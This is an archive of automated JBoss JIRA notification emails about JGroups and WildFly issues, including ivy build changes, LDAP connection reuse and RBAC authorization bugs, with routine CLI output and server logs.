For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 05:52:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 19 Sep 2013 05:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1701) Use ivy for dependency
	management
In-Reply-To: <JIRA.12500986.1379581441000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500986.1379581441000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500986.1379581441000.34989.1379584323386@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1701?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1701.
----------------------------

    Resolution: Done

    
> Use ivy for dependency management
> ---------------------------------
>
>                 Key: JGRP-1701
>                 URL: https://issues.jboss.org/browse/JGRP-1701
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> Switch from ant to ant+ivy for dependency management. Advantages:
> * All JARs are removed from {{lib}}
> * {{ivy.xml}} defines the dependencies
> * Before compilation or unit testing, if {{lib}} doesn't exist or is empty:
> ** Download ivy into {{lib}}
> ** Use ivy to download all dependent libs into {{lib}}
> * No need to ship {{buil.sh}}, {{build.bat}} anymore

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 06:00:05 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 19 Sep 2013 06:00:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1576) Trim information coming from
 read-resource-description
In-Reply-To: <JIRA.12494892.1371831432000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494892.1371831432000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494892.1371831432000.34994.1379584805211@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1576?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan resolved WFLY-1576.
------------------------------

    Resolution: Done


Yes, I think Heiko is happy enough
                
> Trim information coming from read-resource-description
> ------------------------------------------------------
>
>                 Key: WFLY-1576
>                 URL: https://issues.jboss.org/browse/WFLY-1576
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> 17:00 hbraun
> but the ability to reduce the payload size (removing unwanted meta data), would certainly be useful
> 17:01
> did you do a comparison how many bytes we added per attribute?
> 17:01 kkhan
> no?
> 17:02 hbraun
> me neither 
> 17:02 kkhan
> still we don't include operations by default
> 17:02
> we don't do recursive by default
> 17:02
> including the access-control runtime state will be configurable
> 17:02
> what else do you want to remove?
> 17:03 hbraun
> "nillable" => false ?
> 17:03
> storeage ?
> 17:03
> nillable=false: the boolean is false by default
> 17:03
> storage is not needed at all
> 17:03
> access-type is not needed at all (client side)
> 17:04
> "restart-required" is not needed so far
> 17:04 kkhan
> aha, so that is what you were talking about
> 17:04 hbraun
> yes
> 17:04 kkhan
> I think cli needs some of thos
> 17:04
> e
> 17:04 hbraun
> all that rubbish bloats the reponse payload size, w/o clients making actual use of that
> 17:05 kkhan
> ok, I'll keep that in mind but will do the real task first
> 17:05 hbraun
> well, we drive by a parameter: extended=true
> 17:05
> sure
> 17:05
> tnx
> 17:05 kkhan
> an additional parameter like trim-values=[storage,nillable,access-type] or something should do the job
> 17:06
> to read-resource-description
> 17:06 hbraun
> or we do simpe default and extended scopes
> 17:06
> two should suffice
> 17:06
> additional parsing of trim-values[] adds overhead as well
> 17:07 kkhan
> Not really in comparison to what goes on inside these ops
> 17:07 hbraun

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 06:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 06:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1507) Investigate failure in
 StatefulWithXPCFailoverTestCase
In-Reply-To: <JIRA.12494123.1371055191000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494123.1371055191000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494123.1371055191000.35038.1379587623538@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1507?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805751#comment-12805751 ] 

RH Bugzilla Integration commented on WFLY-1507:
-----------------------------------------------

Richard Jan?k <rjanik at redhat.com> made a comment on [bug 963610|https://bugzilla.redhat.com/show_bug.cgi?id=963610]

Update: present in 6.2.0.ER1 as well.
                
> Investigate failure in StatefulWithXPCFailoverTestCase
> ------------------------------------------------------
>
>                 Key: WFLY-1507
>                 URL: https://issues.jboss.org/browse/WFLY-1507
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: jaikiran pai
>            Assignee: Paul Ferraro
>            Priority: Blocker
>             Fix For: 8.0.0.Alpha2
>
>         Attachments: log2.txt
>
>
> Numerous exceptions are reported and the tests fails intermittently but often in StatefulWithXPCFailoverTestCase.
> Entire logs attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep 19 07:08:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 19 Sep 2013 07:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2111) Enhance CallbackHandler /
 Realm Integration with lifecycle callbacks.
In-Reply-To: <JIRA.12501003.1379588777694@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501003.1379588777694@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501003.1379588777694.35052.1379588883930@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2111:
--------------------------------------

             Summary: Enhance CallbackHandler / Realm Integration with lifecycle callbacks.
                 Key: WFLY-2111
                 URL: https://issues.jboss.org/browse/WFLY-2111
             Project: WildFly
          Issue Type: Feature Request
          Components: Domain Management, Remoting, Security, Web (Undertow)
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.CR1


The authentication / group loading interaction with security realms is a multi-step process, strictly speaking the realm is not actually involved in making the 'authenticated' decision - instead the callbacks allow the entry point to make that decision.

As it is a multi-step process it is beneficial to cache resources between the steps e.g. connections to servers containing the actual users.

As a bare minimum we need the 'org.jboss.as.domain.management.AuthorizingCallbackHandler' interface to have a method which is called to indicate that clean up can and should occur.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 07:08:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 19 Sep 2013 07:08:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2082) Ensure any connection used
 for LDAP authentication is re-used for loading the roles.
In-Reply-To: <JIRA.12500768.1379338457000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500768.1379338457000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500768.1379338457000.35055.1379588884075@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2082?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2082:
-----------------------------------

    Description: 
Where the same LDAP connection manager is used to load roles as was used for authentication we need to ensure the actual connection to the server is re-used.

At this stage the connection will be cached in the shared state if the password was successfully validated, the step to load the groups will then close it.

  was:Where the same LDAP connection manager is used to load roles as was used for authentication we need to ensure the actual connection to the server is re-used.


    
> Ensure any connection used for LDAP authentication is re-used for loading the roles.
> ------------------------------------------------------------------------------------
>
>                 Key: WFLY-2082
>                 URL: https://issues.jboss.org/browse/WFLY-2082
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> Where the same LDAP connection manager is used to load roles as was used for authentication we need to ensure the actual connection to the server is re-used.
> At this stage the connection will be cached in the shared state if the password was successfully validated, the step to load the groups will then close it.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 07:50:04 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 07:50:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.35125.1379591404053@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-2089:
-----------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Feature Request)

    
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 07:52:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 07:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1756) Add access-control parameter
 to read-operation-description operation
In-Reply-To: <JIRA.12497280.1374684426000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497280.1374684426000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497280.1374684426000.35128.1379591523463@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1756?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805765#comment-12805765 ] 

Brian Stansberry commented on WFLY-1756:
----------------------------------------

Kabir, I believe this is done.
                
> Add access-control parameter to read-operation-description operation
> --------------------------------------------------------------------
>
>                 Key: WFLY-1756
>                 URL: https://issues.jboss.org/browse/WFLY-1756
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> Similar to read-resource-description

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 07:52:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 07:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1756) Add access-control parameter
 to read-operation-description operation
In-Reply-To: <JIRA.12497280.1374684426000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497280.1374684426000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497280.1374684426000.35131.1379591523667@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1756?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1756:
-----------------------------------

    Parent Issue: WFLY-490  (was: WFLY-448)

    
> Add access-control parameter to read-operation-description operation
> --------------------------------------------------------------------
>
>                 Key: WFLY-1756
>                 URL: https://issues.jboss.org/browse/WFLY-1756
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> Similar to read-resource-description

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 07:54:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 19 Sep 2013 07:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1844) deep-copy-subject-mode
 attribute on Security Subsystem is Readable to all roles
In-Reply-To: <JIRA.12498154.1375879398000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498154.1375879398000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498154.1375879398000.35135.1379591643555@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1844?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Brian Stansberry updated WFLY-1844:
-----------------------------------

    Assignee: Kabir Khan  (was: Brian Stansberry)

    
> deep-copy-subject-mode attribute on Security Subsystem is Readable to all roles
> -------------------------------------------------------------------------------
>
>                 Key: WFLY-1844
>                 URL: https://issues.jboss.org/browse/WFLY-1844
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> According to this spreadsheet [1] deep-copy-subject-mode attribute should be available only to Administrator role, instead it is Readable for everyone 
> {code}
> [standalone at localhost:9990 /] :whoami(verbose=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "identity" => {
>             "username" => "monitor",
>             "realm" => "ManagementRealm"
>         },
>         "roles" => ["Monitor"]
>     }
> }
> [standalone at localhost:9990 /] /subsystem=security:read-attribute(name=deep-copy-subject-mode)
> {
>     "outcome" => "success",
>     "result" => false
> }
> {code}
> [1] https://docs.google.com/spreadsheet/ccc?key=0Au0knNJrYUJhdFlSSEVpdGJpQnlDOURXYTRYajhaZWc#gid=1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 07:54:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 19 Sep 2013 07:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.35139.1379591643872@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2089:
------------------------------

    Fix Version/s:     (was: 8.0.0.Beta1)

    
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>            Priority: Critical
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 07:56:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 19 Sep 2013 07:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.35144.1379591763980@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun reassigned WFLY-2089:
---------------------------------

    Assignee: Heiko Braun  (was: Brian Stansberry)

    
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Critical
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 07:56:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 19 Sep 2013 07:56:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.35148.1379591764169@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805768#comment-12805768 ] 

Heiko Braun commented on WFLY-2089:
-----------------------------------

Assigning Heiko to verify if it still exists
                
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>            Priority: Critical
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,713 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [401  Unauthorized] ()
> [Host Controller] 19:37:41,762 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 2) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,766 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 1) JBAS014616: Operation ("resolve") failed - address: ([]) - failure description: "JBAS013456: Unauthorized to execute operation 'resolve' for resource '[]' -- \"JBAS013475: Permission denied\""
> [Host Controller] 19:37:41,767 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [500  Internal Server Error] ()
> [Host Controller] 19:37:41,821 FINE  [com.sun.net.httpserver] (HttpManagementService-threads - 1) POST /management HTTP/1.1 [200  OK] ()
> [Host Controller] 19:37:41,852 DEBUG [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014616: Operation ("composite") failed - address: ([]) - failure description: "JBAS014883: No resource definition is registered for address [
> [Host Controller]     (\"host\" => \"master\"),
> [Host Controller]     (\"server\" => \"server-two\")
> [Host Controller] ]"
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 07:56:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 19 Sep 2013 07:56:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2089) Error executing composite
 operation as server group role
In-Reply-To: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500794.1379353242000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500794.1379353242000.35151.1379591764320@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2089?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2089:
------------------------------

    Priority: Major  (was: Critical)

    
> Error executing composite operation as server group role
> --------------------------------------------------------
>
>                 Key: WFLY-2089
>                 URL: https://issues.jboss.org/browse/WFLY-2089
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Heiko Braun
>
> This role
> {noformat}
> [domain at localhost:9999 /] /core-service=management/access=authorization/server-group-scoped-role=main-MAINTAINER:read-resource
> {                                          
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "MAINTAINER",
>         "server-groups" => ["main-server-group"]
>     }
> }
> {noformat}
> ... executing this operation 
> {noformat}
> [INFO] {
> [INFO]     "address" => [],
> [INFO]     "operation" => "composite",
> [INFO]     "steps" => [
> [INFO]         {
> [INFO]             "address" => [],
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "deployment"
> [INFO]         },
> [INFO]         {
> [INFO]             "operation" => "read-children-resources",
> [INFO]             "child-type" => "server-group"
> [INFO]         },
> [INFO]         {
> [INFO]             "address" => [
> [INFO]                 ("server-group" => "*"),
> [INFO]                 ("deployment" => "*")
> [INFO]             ],
> [INFO]             "operation" => "read-resource"
> [INFO]         }
> [INFO]     ]
> [INFO] }
> {noformat}
> ... leads to:
> {noformat}
